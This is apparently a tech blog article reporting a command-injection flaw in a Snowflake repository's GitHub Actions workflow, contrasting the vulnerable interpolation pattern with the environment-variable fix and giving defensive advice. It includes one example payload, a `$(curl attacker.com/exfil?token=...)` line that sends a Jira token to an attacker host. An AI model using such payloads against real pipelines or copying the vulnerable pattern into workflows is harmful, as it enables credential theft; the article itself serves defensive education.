# How a Crafted GitHub Issue Exposed Snowflake’s CI Credentials

- Link: https://thestackobserver.com/how-a-crafted-github-issue-exposed-snowflakes-ci-credentials/
- Published: 2026-08-21T11:26:39-04:00
- Author: Stackxx

A GitHub Actions workflow in Snowflake’s public repositories allowed arbitrary command
injection through a crafted issue title and body, exposing internal Jira credentials
to anyone who knew how to format a bug report. The disclosure, published by Wiz 
researchers this week, is a textbook example of a vulnerability class that has been
documented and warned against for over a year — yet it still appears in the CI/CD
pipelines of major enterprises.

The flaw was present in `.github/workflows/jira_issue.yml` within the `snowflakedb/
snowflake-connector-net` repository. When a public issue was opened, the workflow
inserted attacker-controlled values directly into a shell `run:` block. It also 
checked `github.event.pull_request.user.login` even though the triggering event 
was an issue, not a pull request. GitHub evaluates nonexistent properties to an 
empty string, so the check against a known bot username passed silently for ordinary
users. The result: any public issue could reach the command execution step.

For platform and security teams, this is not a novel zero-day. It is a preventable
pattern in an environment where the fix has been public knowledge since July 2025.

## What the Vulnerable Workflow Did Wrong

The workflow had two compounding errors:

 * **Trusted untrusted data:** It interpolated `github.event.issue.title` and `github.
   event.issue.body` directly inside a shell command on the runner. Any special 
   characters — backticks, dollar signs, pipes, semicolons — were evaluated by the
   shell before Jira ever saw them. The researchers demonstrated this by submitting
   a payload that triggered a callback from the runner and returned the Jira API
   token to their out-of-band listener.
 * **Guard logic that did not guard:** An attempt to block non-bot users by checking
   a pull request property on an issue event guaranteed the guard would fail. The
   empty-string fallback meant every issue passed the check.

The workflow also exposed three credentials in the same step where the command injection
occurred: `JIRA_BASE_URL`, `JIRA_USER_EMAIL`, and `JIRA_API_TOKEN`. The token belonged
to `qa@snowflake.net` and granted read access to Jira projects covering engineering,
security compliance, and bug bounty tracking. Rotation happened after disclosure.
There is no confirmed unauthorized access.

The vulnerable code reached the default branch on June 18, 2026, and was fixed on
June 23. The exposure window was five days.

## What GitHub Already Told Everyone to Do

In July 2025, GitHub’s security research team published a detailed guide on detecting
and preventing exactly this class of workflow injection. The core recommendation
has two parts:

 * **Never expand untrusted context data inside a `run:` block.** The `github.event.*`
   object, `github.head_ref`, and similar values are attacker-controlled when the
   trigger is a public issue, pull request comment, or discussion.
 * **Use intermediate environment variables instead.** Pass untrusted values through`
   env:` declarations, and reference only environment variables inside the shell
   block. This shifts the interpolation boundary so the shell receives a literal
   string, not an expression.

The corrected workflow, merged by Snowflake on June 23, follows this pattern exactly.
The issue title and body are now passed as environment variables and piped into `
jq` as arguments, rather than being interpolated directly into the shell command.

Here is the vulnerable pattern:

    ```wp-block-code
    - name: Create Jira issue
      run: |
        curl -X POST ... \
          -d '{"summary": "${{ github.event.issue.title }}", "description": "${{ github.event.issue.body }}"}'
    ```

And the correct pattern:

    ```wp-block-code
    - name: Create Jira issue
      env:
        ISSUE_TITLE: ${{ github.event.issue.title }}
        ISSUE_BODY: ${{ github.event.issue.body }}
      run: |
        jq -n \
          --arg title "$ISSUE_TITLE" \
          --arg body "$ISSUE_BODY" \
          '{"summary": $title, "description": $body}' | \
          curl -X POST ... -d @-
    ```

The difference is not cosmetic. In the first example, an issue body containing `
$(curl attacker.com/exfil?token=$JIRA_API_TOKEN)` is executed by the shell. In the
second, it is treated as a literal string argument to `jq`. The attacker still controls
the content, but they no longer control what executes.

## Why This Keeps Happening

CI/CD pipeline security has a structural incentive problem. Developers and DevOps
engineers write workflows to automate tasks quickly. The GitHub Actions expression
syntax — `${{ ... }}` — makes it trivial to drop a variable anywhere in a workflow
file. The gap between that convenience and the risk of interpolation in a shell 
context is not obvious until you have been bitten by it.

The automation tooling itself compounds the issue. Wiz noted that a GitHub Copilot
Autofix change was among the co-authors of the pull request that introduced the 
vulnerable code. That does not mean Copilot wrote the injection — the commit history
shows the vulnerable lines in an earlier commit — but it illustrates a broader point:
automated code generation and refactoring tools inherit the security model of the
examples they learn from. If the training data contains patterns that work in tests
but fail under adversarial input, the generated code will replicate those failures
at scale.

Platform teams are in the right position to prevent this, but only if they make 
it structurally hard to do the wrong thing. Code review alone is not enough. The
Snowflake repository is public, the workflow review happened, and the flaw still
reached the default branch.

## What Platform Teams Should Do Now

There are three layers of defense that actually work for this problem.

### 1. Static Analysis in CI

Tools like GitHub’s own security scanning, `zizmor`, and other workflow analyzers
can detect direct expression expansion in `run:` blocks before a pull request reaches
review. These tools should be mandatory checks in the repositories where workflows
live — not optional, not post-merge, but hard gates on every pull request that touches
a `.github/workflows/` file.

If your organization does not yet run workflow static analysis, start with a single
repository that has public-facing triggers — issues, pull requests from forks, or
discussions. Those are the highest risk, and they are also the easiest to scan because
the triggers are visible in the YAML.

### 2. Environment Variable Pass-Through as Policy

Treat every use of `${{ }}` inside a `run:` block as a security bug until proven
otherwise. Your CI policy should require `env:` declarations for any workflow expression
that reaches a shell context. This is not a linter preference. It is a security 
boundary, and it should be enforced the same way you enforce signed commits or branch
protection.

For organizations with many repositories, consider a CI template or reusable workflow
that wraps common operations — issue-to-ticket syncing, changelog generation, release
note publishing — and never exposes the interpolation surface to repository authors
directly. Give them inputs. Let the template handle the dangerous parts.

### 3. Segregate Credentials by Job

The Snowflake workflow exposed Jira credentials in the same job that processed untrusted
issue data. Even if the command injection had been prevented through proper variable
handling, the credential exposure was unnecessary. GitHub Actions supports job-level
secrets and environment-level secrets. A job that needs to create a Jira ticket 
can run in a separate job from the job that parses the issue, with permissions granted
only where needed.

The principle is well known: separate the data plane from the control plane. In 
CI/CD, that means the step that reads untrusted input should not be the same step
that holds credentials. If the attacker’s payload can only affect a shell that has
no secrets, the blast radius shrinks from “read your bug tracker” to “make a noisy
curl request.”

## Wider Signals

This disclosure comes at a moment when the CI/CD toolchain itself is evolving rapidly.
GitHub Actions continues to expand its runner fleet, with the Windows 11 arm64 VS2026
image going generally available for standard and larger runners this week. Flux 
Mirror, released earlier this month, brings declarative artifact relocation with
cosign verification to Kubernetes supply chains. The common thread is that the surface
area of CI/CD is growing — more runners, more plugins, more automation — and the
security model needs to keep pace.

The GitHub Actions workflow injection pattern is not sophisticated. It does not 
require a zero-day. It requires a public issue, a workflow that interpolates user
input, and a credential stored as a repository secret. The barrier to exploitation
for a motivated attacker is low, and the barrier for a defender who follows existing
best practices is also low.

Platform teams should treat every public-facing workflow trigger as a trust boundary.
That means reviewing workflows for injection, segregating credentials, and running
static analysis before review — not after the fact.

## Watch Items

 * **Scope audit:** Review all repositories with public issue or pull request triggers.
   Any `run:` block that references `github.event.*` is suspect.
 * **Tooling gap:** If you are not running workflow static analysis in CI, add it.`
   zizmor` and GitHub’s security scanning are both viable paths.
 * **Copilot and Autofix awareness:** Automated refactoring tools may replicate 
   existing patterns, including insecure ones. Treat generated workflow changes 
   the same as hand-written ones for security review.
 * **Credential job segregation:** Even workflows that handle trusted data should
   separate secret-holding jobs from parsing jobs. This limits the blast radius 
   of any future injection vulnerability.
 * **No CVE yet:** As of the disclosure date, no CVE, CVSS score, or CISA Known 
   Exploited Vulnerabilities catalog entry had been assigned. Do not wait for one
   to assess your own pipelines.

## Sources

 * [Snowflake GitHub Actions Flaw Lets Crafted Issues Trigger Command Injection — The Hacker News](https://thehackernews.com/2026/08/snowflake-github-actions-flaw-lets_0330881554.html)
 * [Wiz Red Agent: Snowflake Copilot CI/CD Bug — Wiz Blog](https://www.wiz.io/blog/red-agent-snowflake-copilot-cicd-bug)
 * [How to catch GitHub Actions workflow injections before attackers do — GitHub Security Blog](https://github.blog/security/vulnerability-research/how-to-catch-github-actions-workflow-injections-before-attackers-do/)
 * [Snowflake connector fix pull request — GitHub](https://github.com/snowflakedb/snowflake-connector-net/pull/1402)
 * [Windows 11 arm64 VS2026 image generally available — GitHub Changelog](https://github.blog/changelog/2026-08-20-windows-11-arm64-vs2026-image-generally-available/)
